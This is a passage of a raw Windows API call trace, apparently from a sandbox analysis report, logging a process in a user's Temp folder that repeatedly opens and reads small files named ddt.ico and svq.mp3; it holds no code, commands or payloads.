lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.899] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.899] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.899] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.900] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.900] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.900] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.900] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.900] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.900] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.900] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.900] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.900] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.900] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.900] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.901] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.901] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.901] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.901] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.901] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.901] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.901] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.901] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.901] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.901] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.902] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.902] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.902] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.902] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.902] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.902] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.902] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.902] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.902] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.902] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.902] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.903] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.903] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.903] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.903] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.903] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.904] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.904] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.904] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.904] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.904] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.904] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.904] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.904] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.904] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.904] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.904] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.905] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.905] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.905] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.905] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.905] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.905] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.905] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.905] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.905] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.905] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.906] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.906] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.906] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.906] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.906] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.906] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.906] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.906] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.906] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.907] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.907] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.907] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.907] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.907] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.907] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.907] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.907] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.907] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.907] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.908] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.908] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.908] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.908] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.908] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.908] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.908] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.908] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.908] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.908] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.909] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.909] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.909] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.909] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.909] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.909] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.909] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.909] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.909] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.909] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.910] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.910] SetCurrentDirectoryW 